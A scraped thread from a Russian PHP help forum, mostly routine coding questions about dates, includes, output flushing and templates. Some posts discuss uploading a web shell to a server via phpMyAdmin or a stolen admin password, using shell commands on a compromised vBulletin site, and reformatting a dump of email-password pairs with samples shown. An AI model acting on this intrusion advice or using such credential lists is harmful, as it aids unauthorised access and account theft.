дак вот проблема в том что когда мы проверяем конечную дату 05-07 с конкретной датой например 10-06 то получпется что 10-06 больше чем 05-07
пробовал через mktime далее уже date и сравнить но все тщетно, кто что может подсказать?!
есть код
for ($i = 1; $i <= 5; $i++) {
$url="http://1.tv/ciiiige={$i}";
echo $url; // выводит что надо
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "$url");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
curl_setopt ($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'som JSESB3272');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_REFERER, 'http://wk/');
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$line=curl_exec($ch);
curl_close($ch);
#echo $line;
preg_match_all('|href="/e/([^"\s]*)|i',$line,$out);
print_r ($out); // выводит массив
$c=count($out[1]); // именно так пишет в фаил что надо и сколько надо)
for ($i=0;$i<$c;$i++) {
fwrite($file, $out[1][$i]."\n");
}
}
все хорошо но почему первый цикл for ($i = 1; $i <= 5; $i++) { проходит только один раз((
ожет стоит попробывать назвать во второ цыкле переменные подругому,не $i a $a? :)
Вопрос cлед как пройти авторизацию на форуме
ipb v2.1.7
на SMF прошел так
<?php
$http="http://localhost/board/index.php?action=login2";
//$http="http://localhost/click.php";
$curl = curl_init($http);
$cookie="";
$data = 'frmLogin&user=admin2&passwrd=pass&cookielength=60&cookieneverexp&submit=Login\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_REFERER,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
//curl_setopt($curl, CURLOPT_COOKIE,$cookie);
$text = curl_exec($curl);
curl_close($curl);
echo $text;
?>
Вопрос cлед как пройти авторизацию на форуме
ipb v2.1.7
на SMF прошел так
<?php
$http="http://localhost/board/index.php?action=login2";
//$http="http://localhost/click.php";
$curl = curl_init($http);
$cookie="";
$data = 'frmLogin&user=admin2&passwrd=pass&cookielength=60&cookieneverexp&submit=Login\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_REFERER,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
curl_setopt($curl,CURLOPT_COOKIESESSION,1);
//curl_setopt($curl, CURLOPT_COOKIE,$cookie);
$text = curl_exec($curl);
curl_close($curl);
echo $text;
?>
Отснифать переменные не пробовал?
И так нужно чтобы при нажатии на кнопку выводилось над формой(форма сдвигаеться вниз автоматом) надпись "zzzzzzz"
Как это сделать? Напишите код а то чет где то было но не могу найти
И так нужно чтобы при нажатии на кнопку выводилось над формой(форма сдвигаеться вниз автоматом) надпись "zzzzzzz"
Как это сделать? Напишите код а то чет где то было но не могу найти
В смысле так?
<?
isset($_POST['do']) ? print "zzzzzzz" : 0;
?>
<html>
<form method="post">
<input type="submit" name="do" value="OK">
</form>
</html>
Уже где-то видел скрипт, который парсит некую базу, предположим это будет база мыл и пассов в таком виде:
demareus@rambler.ru:198814 sirenaigrevna@rambler.ru:5555555 sergei_891@mail.ru:gbhju11a10191 mega-paul@mail.ru:раффити
вобщем видно, что все они записанны через пробел, нужно чтоб скрипт отпарсил в нормальный вид в файл, в котором база уже в нормальном виде - с каждой строки..
скрипт искал, но чета не нашёл, если у кого есть поблизости, то прошу скиньте его сюда)
laedafess
09.04.2009, 16:37
<?
$f=file("fignya.txt");
$q=fopen("norm.txt","a+");
foreach($f as $gg)
fputs($q,str_replace(" ","\r\n",$gg));
fclose($q);
?>
инклудит index.php бесконечно.
а с другими файлмами всё норм.
<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>
почему так? или подскажите как это по другому реализовать ;)
В общем.
Есть phpmyadmin, юзверь без привлегий.Но могу добвлять-удалть из БД все что нужно.
На сервере,права выставлены грамотно,никуда ничего залить немогу.
Возможно ли при таком раскладе залить шелл через базу?
laedafess
09.04.2009, 16:52
В общем.
Есть phpmyadmin, юзверь без привлегий.Но могу добвлять-удалть из БД все что нужно.
На сервере,права выставлены грамотно,никуда ничего залить немогу.
Возможно ли при таком раскладе залить шелл через базу?
Это кажись вопрос не для этого раздела)
И я не понял create_priv у тебя "Y" или не "Y"?
Если "Y", ищи папки в которые можно залить шелл.
Если не "Y", вытаскивай пасс админа и лей через админку или попробуй что-нибудь из http://forum.antichat.ru/thread50669.html
инклудит index.php бесконечно.
а с другими файлмами всё норм.
<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>
почему так? или подскажите как это по другому реализовать ;)
быдлокод ;)
http://ru.php.net/switch
Это кажись вопрос не для этого раздела)
И я не понял create_priv у тебя "Y" или не "Y"?
Если "Y", ищи папки в которые можно залить шелл.
Если не "Y", вытаскивай пасс админа и лей через админку или попробуй что-нибудь из http://forum.antichat.ru/thread50669.html
Такс, в общем.
Админка ВБ, шелл залить невозмжно,или я незнаю как.Использовал свой способ для юзанья шела,но не заливал его,так скаать инклудил.Ну это другой разговор.
Вся проблема в том,что в корне на все файлы стоит пермисион_дениед, а глуюже зелезть немогу,шелл не позволяет :(
Вытащил пасс от мускуля (кстати,сниму видео,выложу в уязвимости,нашел очень неплохую штуку в вобле).
Вот мучаюсь сижу)
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
И да,пока не забыл! как будет правильно,сделать листинг директорий?
system('ls -la')? что тоакое вроде...
mailbrush
09.04.2009, 17:16
инклудит index.php бесконечно.
а с другими файлмами всё норм.
<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>
почему так? или подскажите как это по другому реализовать ;)
rushter прав - это быдлокод, но если тебе интерестно знать: if ($_GET['cat'] == 1) include("index.php"); У тебя идет условие ЕСЛИ существует $_GET['cat'], а т.е. = true (то же, что и еденица), инклюдит индекс. Во всех условиях у тебя существует $_GET['cat'], поэтому инклюдится индекс.
Dr.Gonzo
09.04.2009, 17:18
Подскажите пожалуйста
Есть скрипт, к примеру, такого типа:
$a = 1;
while (1)
{
// здесь выполняются долгие вычисления
echo($a);
// здесь вывод результатов
$a = $a+1;
if ($a>10) break;
}
После запуска скрипт зависает секунд на 10, затем выдает весь список результатов.
Как сделать, чтобы результаты выводились по мере вычислений в цикле?
Юзать Ajax? Писать данные в файл?
Заранее благодарен!
$a = 1;
while (1)
{
// здесь выполняются долгие вычисления
echo($a);
ob_flush();
flush();
// здесь вывод результатов
$a = $a+1;
if ($a>10) break;
}
инклудит index.php бесконечно.
а с другими файлмами всё норм.
<?
if ($_GET['cat'] == 1) include("index.php");
if ($_GET['cat'] == 2) include("./code/bash.php");
if ($_GET['cat'] == 3) include("./code/new.php");
if ($_GET['cat'] == 4) include("./code/add.php");
if ($_GET['cat'] == 5) include("./code/top.php");
?>
почему так? или подскажите как это по другому реализовать ;)
Не слушай их :D
Пиши как тебе угодно,со временем поймеш,когда узнаеш другие функции,что так писать неудобно.
Решение проблемы,в том,что возьми числа в ' '
Тоесть напиши везде '1','2'..
laedafess
09.04.2009, 17:22
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
touch file //создает
chmod 777 file //выставляет права
ну если через php, то засовывай это в system или passthru
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
И да,пока не забыл! как будет правильно,сделать листинг директорий?
system('ls -la')? что тоакое вроде...
А кито помогет мне? (
mailbrush
09.04.2009, 17:25
Не слушай их
а что я не так сказал... ? Вопрос был:
почему так? или подскажите как это по другому реализовать
Я на него ответил =)
Да и еще,какая команда создает файл,тоесть не fopen и прочее,а именно команда на создание,в которой можно задать чмод,и прочее при создании.А то чтото запамятовал,но помню что есть подобное.
Есть сист. вызов open() там и права задаются, и способ открытия/создания, а в пхп хз можно его вызывать или нет)
И да,пока не забыл! как будет правильно,сделать листинг директорий
ls -la - только одна
ls -Rla - рекурсивно
Как в переменную загрузить текст документа?
И посоветуйте не сложный шаблонизатор без условий но чтоб переменные принимал...
laedafess
09.04.2009, 18:01
Как в переменную загрузить текст документа?
$f=file("document.txt");
$f=file_get_contents("document.txt");
как правильно сравнивать даты между собой? какая из них больше
например 25-05 и 27-04
Как из скрипта узнать в какой директории сейчас находится скрипт?
веделяешь из строки месяц и день. начало сравниваешь по месяцу какой больше если же одинаковые то по дню. что тут сложного?
Как из скрипта узнать в какой директории сейчас находится скрипт?
<?
echo $_SERVER['DOCUMENT_ROOT'];
?>
<?
echo $_SERVER['DOCUMENT_ROOT'];
?>
А каталог надо а не полный путь...
laedafess, за скрипт спасибо ;)
Pashkela
09.04.2009, 19:46
как правильно сравнивать даты между собой? какая из них больше
например 25-05 и 27-04
<?php
$t1='2009-27-05';
$t2='2009-27-04';
if ($t1>$t2) echo'Первая дата больше второй';
else echo 'Вторая дата больше первой';
?>
Если вы видите дату без года это еще не означает, что его нет
Byrger
echo getcwd();
//или
echo dirname(__FILE__);
Pashkela Так сравнивать даты НЕЛЬЗЯ. Это сравнение двух строк, например первой декабря будет раньше второго мая.
Должно быть как-то так:<?
/*
Дата должна быть такого формата year-month-day.
*/
$t1='2009-05-10';
$t2='2009-05-01';
if (strtotime($t1)>strtotime($t2)) echo'Первая дата позже второй';
else echo 'Вторая дата позже первой';
?>
Pashkela
09.04.2009, 20:57
Pashkela Так сравнивать даты НЕЛЬЗЯ. Это сравнение двух строк, например первой декабря будет раньше второго мая.
<?php
/*
Дата должна быть такого формата year-day-month.
*/
$t1='2001-01-12';
$t2='2001-02-05';
if ($t1>$t2) echo'Первая дата позже второй';
else echo 'Вторая дата позже первой';
?>
Gifts, приведи пожалуйста хоть один реальный пример, когда мой вариант не сработает
year-day-month - именно такой вариант был в исходном условии задачи, только без года
astrologer
09.04.2009, 21:20
$t1 = '2001-01-12';
$t2 = '2001-02-05';
// ^
// Очевидно же, что сравнение заканчивается тут и месяц не учитывается
Pashkela
09.04.2009, 21:28
Гы, чото туплю к вечеру, был не прав, погорячился:)
Самый Ъ способ:
<?php
$date1 = "12-10-05"; // dd:mm:yy
$date2 = "17-12-03";
if ($date1 == $date2)
echo "Draw :D";
else
{
preg_match_all('#\d\d#',$date1,$temp1);
preg_match_all('#\d\d#',$date2,$temp2);
$year1 = $temp1[0][2];
$month1 = $temp1[0][1];
$day1 = $temp1[0][0];
$year2 = $temp2[0][2];
$month2 = $temp2[0][1];
$day2 = $temp2[0][0];
if (($year1>$year2)
or (($year1 == $year2) and ($month1 > $month2))
or (($year1 == $year2) and ($month1 == $month2) and ($day1>$day2)))
echo "1 date bigger\n";
else
echo "2 date bigger\n";
}
?>
Нужно доработать для дат младше 2000 года, но я старался сделать не юзабилити софт, а лишь показать приблизительный пример конечного скрипта :D
Есть ли готовые примеры авторизации на форумах булок?Просьба "отснифать" посылаемые заголовки не предлагать.Хочется увидеть все в идеале(а не мой быдлокод)
function Template($template){
$a = eval("\$tpl->output(\"".$tpl->get_admin("".$tamplate."")."\");");
return $a;
}
Как правильно написать функцию чтоб она выполняла норматьно eval?
laedafess
09.04.2009, 23:17
function Template($template){
$a = eval("$tpl->output(\"".$tpl->get_admin($template)."\");");
return $a;
}
function Template($template){
$a = eval("$tpl->output(\"".$tpl->get_admin($template)."\");");
return $a;
}
ну такто если подумать разницы никакой!
И не работает
Byrger два вопроса - зачем здесь эвал, и второй - $tpl не находится в области видимости?
function Template($template){
GLOBAL $tpl;
$a = eval('$tpl->output("'.$tpl->get_admin($tamplate).'");');
return $a;
}
Parse error: syntax error, unexpected T_EXIT in ...
при вызове функции
ты в конфиг то заглядывал хотябы?
я там не понял, я начинающий просто, подскажи плиз! с меня +!
Инструкция:
Вводим в браузере google.ru, в поле поиска введем: "Инструкция по установке Apach и MySQL",получаем многа инструкций.
Или, идем на video.antichat.ru и ищем тамвидео по установке выше скзаного.Там есть всо.
Вотъ
.:EnoT:.
10.04.2009, 13:08
_SEREGA_
Имхо, рано тебе свой серв собирать...поставь чё-нить готовое, наподобии wampserver, там и панелько есть 8)
Да я токо для изучения пхп серв собираю!
Ставь готовую сборку(как ранее предложил енот), предлагаю тебе AppServ(сам юзаю) или denwer.
пс енот пошли пиво пить.
Люди,чем можно раззендить,а потом зазендить пхп скрипт ? И,главное,как ?
mailbrush
10.04.2009, 23:36
http://unzend.com/
Бле,неужели это платно? ...
laedafess
11.04.2009, 01:24
http://forum.xakepok.org/thread3080.html
http://void.su/webtools/dezend/
2) Воид пашет,но иногда браущер выдаёт,мол *Попытка соединения не удалась*.С чем это может быть связано ?
Так,скриптег дезендили...А как терь зазендить?:Д
логично подумать что http://www.zend.com/en/products/guard/optimizer/, не так ли?
у меня вывод в скрипте статистики админки:
foreach($stats as $row)
{
$tmpl .= '<tr><td align="center">'.date("H:i:s", strtotime($row['date'])).'</td><td>'.$row['referer'].'</td><td>'.$row['user_agent'].'</td><td>'.long2ip($row['ip']).'</td></tr>';
}
всё в админке в cp1251 но вывод $row['referer'] в utf-8
сделал: .iconv("urf-8", "windows-1251",$row['referer']).
и ничего не выводит..
а то неудобно смотреть записи типа:
12:11:18 http://yandex.ru/yandsearch?p=47&text=Детский сад. Методическая копилка&clid=40316 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1) 90.151.***.***
как?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot